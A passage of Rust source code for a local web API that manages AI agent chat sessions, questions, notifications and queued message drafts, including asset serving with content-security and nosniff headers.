5810 deputies_enabled,
5811 run_is_task: question.run_names_task(),
5812 origin_chat: None,
5813 origin_chat_closed: false,
5814 question,
5815 }
5816 }
5817
5818 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5820 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5821 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5822 self.origin_chat = talk.map(|t| t.id);
5823 self
5824 }
5825}
5826
5827fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5831 Config::discover(repo, None).ok().map(|(c, _)| c)
5832}
5833
5834fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5836 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5837}
5838
5839fn question_views(
5842 qs: Vec<Question>,
5843 store: &ask::Questions,
5844 load: impl FnOnce() -> Option<Config>,
5845) -> Vec<QuestionView> {
5846 if qs.is_empty() {
5847 return Vec::new();
5848 }
5849 let cfg = load();
5850 qs.into_iter()
5851 .map(|q| {
5852 let on = deputies_enabled(cfg.as_ref(), &q);
5853 QuestionView::of(q, store, on)
5854 })
5855 .collect()
5856}
5857
5858fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5868 if !q.status.open() {
5869 return None;
5870 }
5871 if q.cwd.is_none() && q.deputy.is_none() {
5872 return crate::deputy::kind_of(q).map(|_| "nobody");
5873 }
5874 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5875 Some(_) if q.deputy.is_some() => "deputy",
5876 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5877 Some(_) => "asker",
5878 None => "nobody",
5879 })
5880}
5881
5882async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5888 blocking(move || {
5889 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5890 Ok(Json(
5891 question_views(ui.questions.list(), &ui.questions, || {
5892 deputy_config(&ui.repo)
5893 })
5894 .into_iter()
5895 .map(|v| v.with_origin(&tasks, &talks))
5896 .collect(),
5897 ))
5898 })
5899 .await
5900}
5901
5902async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5905 blocking(move || {
5906 let items = ui.notices.list();
5907 let unread = items.iter().filter(|n| n.unread()).count();
5908 Ok(Json(
5909 serde_json::json!({ "unread": unread, "items": items }),
5910 ))
5911 })
5912 .await
5913}
5914
5915fn notice_error(e: anyhow::Error) -> ApiError {
5916 ApiError::not_found(format!("{e:#}"))
5919}
5920
5921async fn notification_read(
5923 State(ui): State<Arc<Ui>>,
5924 Path(id): Path<String>,
5925) -> ApiResult<Json<Notice>> {
5926 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5927}
5928
5929async fn notification_dismiss(
5931 State(ui): State<Arc<Ui>>,
5932 Path(id): Path<String>,
5933) -> ApiResult<Json<Notice>> {
5934 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5935}
5936
5937async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5939 blocking(move || {
5940 let changed = ui.notices.mark_all_read()?;
5941 Ok(Json(serde_json::json!({ "marked": changed })))
5942 })
5943 .await
5944}
5945
5946#[derive(Debug, Default, Deserialize)]
5952#[serde(default, deny_unknown_fields)]
5953struct NewAnswer {
5954 choice: Option<String>,
5955 text: Option<String>,
5956}
5957
5958async fn question_answer(
5959 State(ui): State<Arc<Ui>>,
5960 Path(id): Path<String>,
5961 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5962) -> ApiResult<Json<QuestionView>> {
5963 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5964 let answer = match (body.choice, body.text) {
5965 (Some(c), None) => Answer::Choice(c),
5966 (None, Some(t)) => Answer::Text(t),
5967 (Some(_), Some(_)) => {
5968 return Err(ApiError::bad_request(
5969 "send either `choice` or `text`, not both",
5970 ));
5971 }
5972 (None, None) => {
5973 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5974 }
5975 };
5976
5977 blocking(move || {
5978 let id = resolve_question(&ui.questions, &id)?;
5979 let q = ui
5980 .questions
5981 .get(&id)
5982 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5983 if !q.status.open() {
5984 return Err(ApiError::conflict(format!(
5988 "question {} is already {}",
5989 q.short(),
5990 q.status.as_str()
5991 )));
5992 }
5993 let (q, ()) = ui
5997 .questions
5998 .update(&q.id, |r| r.answer(answer))
5999 .map_err(ApiError::bad_request_from)?;
6000 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6001 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6002 Ok(Json(
6003 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6004 ))
6005 })
6006 .await
6007}
6008
6009#[derive(Debug, Deserialize)]
6011#[serde(deny_unknown_fields)]
6012struct NewSay {
6013 body: String,
6014}
6015
6016async fn question_say(
6026 State(ui): State<Arc<Ui>>,
6027 Path(id): Path<String>,
6028 body: std::result::Result<Json<NewSay>, JsonRejection>,
6029) -> ApiResult<Json<QuestionView>> {
6030 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6031 blocking(move || {
6032 let id = resolve_question(&ui.questions, &id)?;
6033 let q = ui
6034 .questions
6035 .get(&id)
6036 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6037 if !q.status.open() {
6038 return Err(ApiError::conflict(format!(
6042 "question {} is already {}",
6043 q.short(),
6044 q.status.as_str()
6045 )));
6046 }
6047 let (q, ()) = ui
6050 .questions
6051 .update(&q.id, |r| r.say(body.body))
6052 .map_err(ApiError::bad_request_from)?;
6053 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6054 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6055 Ok(Json(
6056 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6057 ))
6058 })
6059 .await
6060}
6061
6062async fn question_consult(
6071 State(ui): State<Arc<Ui>>,
6072 Path(id): Path<String>,
6073) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6074 let (view, reclaimed) = blocking({
6075 let ui = Arc::clone(&ui);
6076 move || {
6077 let id = resolve_question(&ui.questions, &id)?;
6078 let q = ui
6079 .questions
6080 .get(&id)
6081 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6082 if !q.status.open() {
6083 return Err(ApiError::conflict(format!(
6084 "question {} is already {}",
6085 q.short(),
6086 q.status.as_str()
6087 )));
6088 }
6089 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6090 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6091 return Err(ApiError::conflict(format!(
6092 "question {} has no chat to ask",
6093 q.short()
6094 )));
6095 };
6096 let cfg = if q.consult.is_none() {
6100 Some(Config::discover(&talk.repo, None)?.0)
6101 } else {
6102 None
6103 };
6104 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6105 let claim = if fresh {
6106 match ui.begin_queued_talk_turn(&talk.id)? {
6107 Some(turn_guard) => {
6108 let talk = ui.talks.get(&talk.id)?;
6109 let cfg = match cfg {
6110 Some(cfg) => cfg,
6111 None => Config::discover(&talk.repo, None)?.0,
6112 };
6113 Some((talk, cfg, turn_guard))
6114 }
6115 None => None,
6116 }
6117 } else {
6118 None
6119 };
6120 let q = ui.questions.get(&q.id)?;
6121 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6122 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6123 Ok((view, claim))
6124 }
6125 })
6126 .await?;
6127 if let Some((talk, cfg, turn_guard)) = reclaimed {
6128 let talks = ui.talks.clone();
6129 let id = talk.id.clone();
6130 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6131 }
6132 Ok((StatusCode::ACCEPTED, Json(view)))
6133}
6134
6135fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6137 if store.path_of(id).is_file() {
6138 return Ok(id.to_owned());
6139 }
6140 pick(
6141 store.list().into_iter().map(|q| q.id).collect(),
6142 id,
6143 "question",
6144 )
6145}
6146
6147async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6162 blocking(move || {
6163 let id = resolve_question(&ui.questions, &id)?;
6164 let Some(html) = ui.questions.panel_html(&id) else {
6165 return Err(ApiError::not_found(format!("question {id} has no panel")));
6166 };
6167 Ok(panel_response(
6168 "text/html; charset=utf-8",
6169 false,
6170 html.into_bytes(),
6171 ))
6172 })
6173 .await
6174}
6175
6176async fn question_asset(
6204 State(ui): State<Arc<Ui>>,
6205 Path((id, name)): Path<(String, String)>,
6206) -> ApiResult<Response> {
6207 if !crate::ask::valid_asset_name(&name) {
6210 return Err(ApiError::bad_request(format!(
6211 "`{name}` is not a usable asset name"
6212 )));
6213 }
6214 blocking(move || {
6215 let id = resolve_question(&ui.questions, &id)?;
6216 let asset = ui
6217 .questions
6218 .panel_asset(&id, &name)
6219 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6220 let Some(bytes) = asset else {
6221 return Err(ApiError::not_found(format!(
6222 "question {id} has no asset `{name}`"
6223 )));
6224 };
6225 Ok(panel_response(
6226 asset_content_type(&name),
6227 is_svg(&name),
6228 bytes,
6229 ))
6230 })
6231 .await
6232}
6233
6234fn asset_content_type(name: &str) -> &'static str {
6247 match extension(name).as_deref() {
6248 Some("png") => "image/png",
6249 Some("jpg" | "jpeg") => "image/jpeg",
6250 Some("gif") => "image/gif",
6251 Some("webp") => "image/webp",
6252 Some("svg") => "image/svg+xml",
6253 Some("css") => "text/css; charset=utf-8",
6254 Some("txt") => "text/plain; charset=utf-8",
6255 _ => "application/octet-stream",
6256 }
6257}
6258
6259fn is_svg(name: &str) -> bool {
6262 extension(name).as_deref() == Some("svg")
6263}
6264
6265fn extension(name: &str) -> Option<String> {
6267 name.rsplit_once('.')
6268 .map(|(_, ext)| ext.to_ascii_lowercase())
6269}
6270
6271fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6288 let mut res = (
6289 [
6290 (header::CONTENT_TYPE, content_type),
6291 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6292 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6293 (header::REFERRER_POLICY, "no-referrer"),
6294 ],
6295 body,
6296 )
6297 .into_response();
6298 if download {
6299 res.headers_mut().insert(
6300 header::CONTENT_DISPOSITION,
6301 HeaderValue::from_static("attachment"),
6302 );
6303 }
6304 res
6305}
6306
6307#[derive(Debug, Serialize)]
6313struct TalkView {
6314 #[serde(flatten)]
6315 talk: Talk,
6316 turn_bodies_md: Vec<Vec<md::Node>>,
6317 thinking: bool,
6325 context: talk::ContextUsage,
6329 operator_name: Option<String>,
6332 persona_name: Option<String>,
6334 persona_avatar: String,
6337}
6338
6339impl TalkView {
6340 fn new(talk: Talk, thinking: bool) -> Self {
6343 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6344 Self::with_config(talk, thinking, cfg.as_ref())
6345 }
6346
6347 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6350 let context = talk::context_usage(&talk, cfg);
6351 let turn_bodies_md = talk
6352 .turns
6353 .iter()
6354 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6355 .collect();
6356 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6357 let persona_name = persona::find(specs, &talk.persona)
6358 .filter(|p| !p.is_default())
6359 .map(|p| p.name);
6360 let persona_avatar = avatar_url(
6361 &talk.id,
6362 &persona::find(specs, &talk.persona)
6363 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6364 );
6365 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6366 Self {
6367 turn_bodies_md,
6368 thinking,
6369 context,
6370 operator_name,
6371 persona_name,
6372 persona_avatar,
6373 talk,
6374 }
6375 }
6376}
6377
6378#[derive(Debug, Serialize)]
6383struct TalkDetailView {
6384 #[serde(flatten)]
6385 view: TalkView,
6386 tasks: Vec<TaskView>,
6387 roster: Vec<RosterEntry>,
6390 personas: Vec<PersonaEntry>,
6393}
6394
6395#[derive(Debug, Serialize)]
6397struct PersonaEntry {
6398 id: String,
6399 name: String,
6400 avatar: String,
6402}
6403
6404#[derive(Debug, Serialize)]
6406struct RosterEntry {
6407 id: String,
6408 kind: AgentKind,
6409 runnable: bool,
6411}
6412
6413async fn talks_list(
6418 State(ui): State<Arc<Ui>>,
6419 Query(q): Query<ListQuery>,
6420) -> ApiResult<Json<Vec<TalkView>>> {
6421 blocking(move || {
6422 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6423 Ok(Json(
6424 ui.talks
6425 .list()
6426 .into_iter()
6427 .filter(|talk| q.contains(&talk.id))
6428 .map(|talk| {
6429 let thinking = ui.is_thinking(&talk.id);
6430 let cfg = configs
6431 .entry(talk.repo.clone())
6432 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6433 TalkView::with_config(talk, thinking, cfg.as_ref())
6434 })
6435 .collect(),
6436 ))
6437 })
6438 .await
6439}
6440
6441#[derive(Debug, Default, Deserialize)]
6446#[serde(default)]
6447struct NewTalk {
6448 agent: Option<String>,
6449 repo: Option<PathBuf>,
6450 preferred_agent: Option<serde_json::Value>,
6454 persona: Option<serde_json::Value>,
6455 implementers: Option<serde_json::Value>,
6456}
6457
6458async fn talk_post(
6461 State(ui): State<Arc<Ui>>,
6462 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6463) -> ApiResult<impl IntoResponse> {
6464 let body = match body {
6468 Ok(Json(body)) => body,
6469 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6470 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6471 };
6472 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6473 let cfg = config_for(&repo).await?;
6474 let view = blocking(move || {
6475 let preferred = talk::Preferred {
6476 agent: body
6477 .preferred_agent
6478 .as_ref()
6479 .and_then(|v| v.as_str())
6480 .map(str::to_owned),
6481 persona: body
6482 .persona
6483 .as_ref()
6484 .and_then(|v| v.as_str())
6485 .map(str::to_owned),
6486 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6487 };
6488 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6489 let thinking = ui.is_thinking(&talk.id);
6490 Ok(TalkView::new(talk, thinking))
6491 })
6492 .await?;
6493 Ok((StatusCode::CREATED, Json(view)))
6494}
6495
6496async fn talk_detail(
6498 State(ui): State<Arc<Ui>>,
6499 Path(id): Path<String>,
6500) -> ApiResult<Json<TalkDetailView>> {
6501 blocking(move || {
6502 let id = resolve_talk(&ui.talks, &id)?;
6503 let talk = ui.talks.get(&id)?;
6504 let thinking = ui.is_thinking(&talk.id);
6505 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6506 .into_iter()
6507 .map(TaskView::from)
6508 .collect();
6509 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6510 let roster = cfg
6511 .as_ref()
6512 .map(|cfg| {
6513 cfg.agents
6514 .iter()
6515 .map(|a| RosterEntry {
6516 id: a.id.clone(),
6517 kind: a.kind,
6518 runnable: agent::installed(a),
6519 })
6520 .collect()
6521 })
6522 .unwrap_or_default();
6523 let specs = cfg
6524 .as_ref()
6525 .map(|cfg| cfg.talk.personas.clone())
6526 .unwrap_or_default();
6527 let personas = persona::catalog(&specs)
6528 .into_iter()
6529 .map(|p| PersonaEntry {
6530 avatar: avatar_url(&talk.id, &p),
6531 id: p.id,
6532 name: p.name,
6533 })
6534 .collect();
6535 Ok(Json(TalkDetailView {
6536 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6537 tasks,
6538 roster,
6539 personas,
6540 }))
6541 })
6542 .await
6543}
6544
6545#[derive(Debug, Default, Deserialize)]
6551#[serde(default, deny_unknown_fields)]
6552struct NewTalkTurn {
6553 text: String,
6554 attachments: Vec<String>,
6555}
6556
6557#[derive(Debug, Deserialize)]
6558#[serde(deny_unknown_fields)]
6559struct EditTalkPending {
6560 text: String,
6561 expected_text: String,
6562 expected_attachments: Vec<String>,
6563}
6564
6565#[derive(Debug, Deserialize)]
6566#[serde(deny_unknown_fields)]
6567struct ClearTalkPending {
6568 expected_text: String,
6569 expected_attachments: Vec<String>,
6570}
6571
6572async fn talk_say(
6584 State(ui): State<Arc<Ui>>,
6585 Path(id): Path<String>,
6586 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6587) -> ApiResult<(StatusCode, Json<TalkView>)> {
6588 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6589 if body.text.trim().is_empty() && body.attachments.is_empty() {
6590 return Err(ApiError::bad_request("say something"));
6591 }
6592
6593 let id = {
6594 let ui = Arc::clone(&ui);
6595 let asked = id.clone();
6596 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6597 };
6598 {
6602 let ui = Arc::clone(&ui);
6603 let id = id.clone();
6604 blocking(move || {
6605 let talk = ui.talks.get(&id)?;
6606 if !talk.status.open() {
6607 return Err(ApiError::conflict(format!(
6608 "talk {} is {} and takes no more turns",
6609 talk.short(),
6610 talk.status.as_str()
6611 )));
6612 }
6613 Ok(())
6614 })
6615 .await?;
6616 }
6617
6618 let attachments = {
6623 let ui = Arc::clone(&ui);
6624 let id = id.clone();
6625 let ids = body.attachments.clone();
6626 blocking(move || {
6627 ids.into_iter()
6628 .map(|att_id| {
6629 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6630 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6631 })
6632 })
6633 .collect::<ApiResult<Vec<talk::Attachment>>>()
6634 })
6635 .await?
6636 };
6637
6638 let start = {
6643 let ui = Arc::clone(&ui);
6644 let id = id.clone();
6645 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6646 };
6647 let turn_guard = match start {
6648 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6649 TalkTurnStart::Pending => {
6650 return Err(ApiError::conflict(
6651 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6652 ));
6653 }
6654 TalkTurnStart::Foreign => {
6655 return Err(ApiError::conflict(
6656 "a turn is already running in another process; try again when it has finished",
6657 ));
6658 }
6659 TalkTurnStart::Busy => {
6660 let (tx, rx) = tokio::sync::oneshot::channel();
6676 tokio::spawn({
6677 let ui = Arc::clone(&ui);
6678 let id = id.clone();
6679 let said = body.text.clone();
6680 async move {
6681 let written = blocking({
6682 let ui = Arc::clone(&ui);
6683 let id = id.clone();
6684 move || {
6685 let mut talk = ui.talks.get(&id)?;
6686 #[cfg(test)]
6691 if let Some(gate) = ui
6692 .busy_queue_gate
6693 .lock()
6694 .unwrap_or_else(PoisonError::into_inner)
6695 .take()
6696 {
6697 let _ = gate.reached.send(());
6698 let _ = gate.release.recv();
6699 }
6700 if let Err(error) =
6701 talk::queue(&mut talk, &ui.talks, &said, attachments)
6702 {
6703 if let Ok(fresh) = ui.talks.get(&id) {
6704 if !fresh.status.open() {
6705 return Err(ApiError::conflict(format!(
6706 "talk {} is {} and takes no more turns",
6707 fresh.short(),
6708 fresh.status.as_str()
6709 )));
6710 }
6711 }
6712 return Err(ApiError::from(error));
6713 }
6714 let claim = match ui.begin_queued_talk_turn(&id)? {
6725 Some(turn_guard) => {
6726 let (cfg, _) = Config::discover(&talk.repo, None)?;
6727 Some((talk.clone(), cfg, turn_guard))
6728 }
6729 None => None,
6730 };
6731 let thinking = ui.is_thinking(&id);
6732 Ok((TalkView::new(talk, thinking), claim))
6733 }
6734 })
6735 .await;
6736 let (view, reclaimed) = match written {
6737 Ok(pair) => pair,
6738 Err(e) => {
6739 let _ = tx.send(Err(e));
6744 return;
6745 }
6746 };
6747 let _ = tx.send(Ok(view));
6750 if let Some((talk, cfg, turn_guard)) = reclaimed {
6751 let talks = ui.talks.clone();
6752 drain_loop(talk, talks, cfg, id, turn_guard).await;
6753 }
6754 }
6755 });
6756 let view = rx
6757 .await
6758 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6759 return Ok((StatusCode::ACCEPTED, Json(view)));
6760 }
6761 };
6762
6763 let (talk, cfg) = {
6764 let ui = Arc::clone(&ui);
6765 let id = id.clone();
6766 blocking(move || {
6767 let talk = ui.talks.get(&id)?;
6768 let (cfg, _) = Config::discover(&talk.repo, None)?;
6769 Ok((talk, cfg))
6770 })
6771 .await?
6772 };
6773
6774 let talks = ui.talks.clone();
6775 let (tx, rx) = tokio::sync::oneshot::channel();
6790 tokio::spawn({
6791 let ui = Arc::clone(&ui);
6792 let talks = talks.clone();
6793 let id = id.clone();
6794 let said = body.text.clone();
6795 let mut talk = talk.clone();
6796 async move {
6797 let recorded = blocking({
6798 let talks = talks.clone();
6799 move || {
6800 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6801 if let Ok(fresh) = talks.get(&talk.id) {
6802 if !fresh.status.open() {
6803 return Err(ApiError::conflict(format!(
6804 "talk {} is {} and takes no more turns",
6805 fresh.short(),
6806 fresh.status.as_str()
6807 )));
6808 }
6809 }
6810 return Err(ApiError::from(error));
6811 }
6812 Ok((said.trim().to_owned(), talk))
6818 }
6819 })
6820 .await;
6821 let (text, mut talk) = match recorded {
6822 Ok(pair) => pair,
6823 Err(e) => {
6824 let _ = tx.send(Err(e));
6828 return;
6829 }
6830 };
6831 let queued = talk.clone();
6832 let thinking = ui.is_thinking(&id);
6833 let _ = tx.send(Ok((queued, thinking)));
6836
6837 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6838 tracing::warn!("talk {id} turn failed: {e:#}");
6842 }
6843 drain_loop(talk, talks, cfg, id, turn_guard).await;
6846 }
6847 });
6848
6849 let (queued, thinking) = rx
6850 .await
6851 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6852
6853 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6855}
6856
6857async fn talk_pending_resume(
6861 State(ui): State<Arc<Ui>>,
6862 Path(id): Path<String>,
6863) -> ApiResult<(StatusCode, Json<TalkView>)> {
6864 let id = {
6865 let ui = Arc::clone(&ui);
6866 let asked = id.clone();
6867 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6868 };
6869 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6870 return Err(ApiError::conflict(
6871 "a talk turn is already running; the queued draft will be handled by it",
6872 ));
6873 };
6874 let (talk, cfg) = {
6875 let ui = Arc::clone(&ui);
6876 let id = id.clone();
6877 blocking(move || {
6878 let talk = ui.talks.get(&id)?;
6879 if !talk.status.open() {
6880 return Err(ApiError::conflict(format!(
6881 "talk {} is {} and takes no more turns",
6882 talk.short(),
6883 talk.status.as_str()
6884 )));
6885 }
6886 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6887 return Err(ApiError::conflict("there is no queued draft to resume"));
6888 }
6889 let (cfg, _) = Config::discover(&talk.repo, None)?;
6890 Ok((talk, cfg))
6891 })
6892 .await?
6893 };
6894 let view = TalkView::new(talk.clone(), true);
6895 let talks = ui.talks.clone();
6896 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6897 Ok((StatusCode::ACCEPTED, Json(view)))
6898}
6899
6900async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6916 let live_set = Arc::clone(&turn.turns);
6917 let mut turn = Some(turn);
6925 loop {
6926 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6927 tracing::warn!("talk {id} lost its turn lease; not draining further");
6930 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6931 if let Some(turn) = turn.take() {
6932 turn.release(&mut live);
6933 }
6934 break;
6935 }
6936 {
6937 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6940 if live.parking {
6941 if let Some(turn) = turn.take() {
6942 turn.release(&mut live);
6943 }
6944 break;
6945 }
6946 }
6947 let observed = live_set
6951 .lock()
6952 .unwrap_or_else(PoisonError::into_inner)
6953 .queued
6954 .get(&id)
6955 .copied()
6956 .unwrap_or(0);
6957 let drained = blocking({
6958 let talks = talks.clone();
6959 let live_set = Arc::clone(&live_set);
6960 move || {
6961 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6966 let result = if live.parking {
6967 Ok(None)
6968 } else {
6969 talk::drain(&mut talk, &talks)
6970 };
6971 drop(live);
6972 Ok((talk, result))
6973 }
6974 })
6975 .await;
6976 let (next_talk, result) = match drained {
6977 Ok(drained) => drained,
6978 Err(e) => {
6979 tracing::warn!(
6980 status = %e.status,
6981 message = %e.message,
6982 "talk {id} could not start queued-text drain"
6983 );
6984 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6985 turn.take()
6986 .expect("held for the whole loop until released here")
6987 .release(&mut live);
6988 break;
6989 }
6990 };
6991 talk = next_talk;
6992 let drained = match result {
6993 Ok(Some(drained)) => drained,
6994 Ok(None) => {
6995 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6996 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6997 continue;
6998 }
6999 turn.take()
7000 .expect("held for the whole loop until released here")
7001 .release(&mut live);
7002 break;
7003 }
7004 Err(e) => {
7005 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7006 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7007 turn.take()
7008 .expect("held for the whole loop until released here")
7009 .release(&mut live);
7010 break;
7011 }
7012 };
7013 let responded = match turn.as_ref() {
7014 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7015 None => Err(anyhow::anyhow!("the turn guard was released")),
7016 };
7017 if let Err(e) = responded {
7018 tracing::warn!("talk {id} turn failed: {e:#}");
7019 }
7020 }
7021}
7022
7023async fn talk_pending_clear(
7025 State(ui): State<Arc<Ui>>,
7026 Path(id): Path<String>,
7027 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7028) -> ApiResult<Json<TalkView>> {
7029 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7030 blocking(move || {
7031 let id = resolve_talk(&ui.talks, &id)?;
7032 let mut talk = ui.talks.get(&id)?;
7033 if !talk.status.open() {
7034 return Err(ApiError::conflict(format!(
7035 "talk {} is {} and takes no more turns",
7036 talk.short(),
7037 talk.status.as_str()
7038 )));
7039 }
7040 if !talk::clear_pending_if_matches(
7041 &mut talk,
7042 &ui.talks,
7043 &body.expected_text,
7044 &body.expected_attachments,
7045 )? {
7046 return Err(ApiError::conflict(
7047 "queued message changed; reload it before clearing",
7048 ));
7049 }
7050 let thinking = ui.is_thinking(&talk.id);
7051 Ok(Json(TalkView::new(talk, thinking)))
7052 })
7053 .await
7054}
7055
7056async fn talk_pending_edit(
7060 State(ui): State<Arc<Ui>>,
7061 Path(id): Path<String>,
7062 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7063) -> ApiResult<Json<TalkView>> {
7064 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7065 let (view, reclaimed) = blocking({
7066 let ui = Arc::clone(&ui);
7067 move || {
7068 let id = resolve_talk(&ui.talks, &id)?;
7069 let mut talk = ui.talks.get(&id)?;
7070 if !talk.status.open() {
7071 return Err(ApiError::conflict(format!(
7072 "talk {} is {} and takes no more turns",
7073 talk.short(),
7074 talk.status.as_str()
7075 )));
7076 }
7077 if !talk::edit_pending_text(
7078 &mut talk,
7079 &ui.talks,
7080 &body.text,
7081 &body.expected_text,
7082 &body.expected_attachments,
7083 )? {
7084 return Err(ApiError::conflict(
7085 "queued message changed; reload it before editing",
7086 ));
7087 }
7088 let claim = match ui.begin_queued_talk_turn(&id)? {
7089 Some(turn_guard) => {
7090 let (cfg, _) = Config::discover(&talk.repo, None)?;
7091 Some((talk.clone(), cfg, id.clone(), turn_guard))
7092 }
7093 None => None,
7094 };
7095 let thinking = ui.is_thinking(&id);
7096 Ok((TalkView::new(talk, thinking), claim))
7097 }
7098 })
7099 .await?;
7100 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7101 let talks = ui.talks.clone();
7102 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7103 }
7104 Ok(Json(view))
7105}
7106
7107fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7109 if talk.status.open() {
7110 return Ok(());
7111 }
7112 Err(ApiError::conflict(format!(
7113 "talk {} is {} and takes no more turns",
7114 talk.short(),
7115 talk.status.as_str()
7116 )))
7117}
7118
7119#[derive(Debug, Deserialize)]
7121struct TalkAgent {
7122 agent: String,
7123}
7124
7125async fn talk_agent(
7130 State(ui): State<Arc<Ui>>,
7131 Path(id): Path<String>,
7132 Json(body): Json<TalkAgent>,
7133) -> ApiResult<Json<TalkView>> {
7134 let id = {
7135 let ui = Arc::clone(&ui);
7136 blocking(move || resolve_talk(&ui.talks, &id)).await?
7137 };
7138 let repo = {
7139 let ui = Arc::clone(&ui);
7140 let id = id.clone();
7141 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7142 };
7143 let cfg = config_for(&repo).await?;
7144 {
7146 let ui = Arc::clone(&ui);
7147 let id = id.clone();
7148 let cfg = cfg.clone();
7149 let wanted = body.agent.clone();
7150 blocking(move || {
7151 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7152 .map_err(ApiError::bad_request_from)?;
7153 refuse_if_closed(&ui.talks.get(&id)?)
7154 })
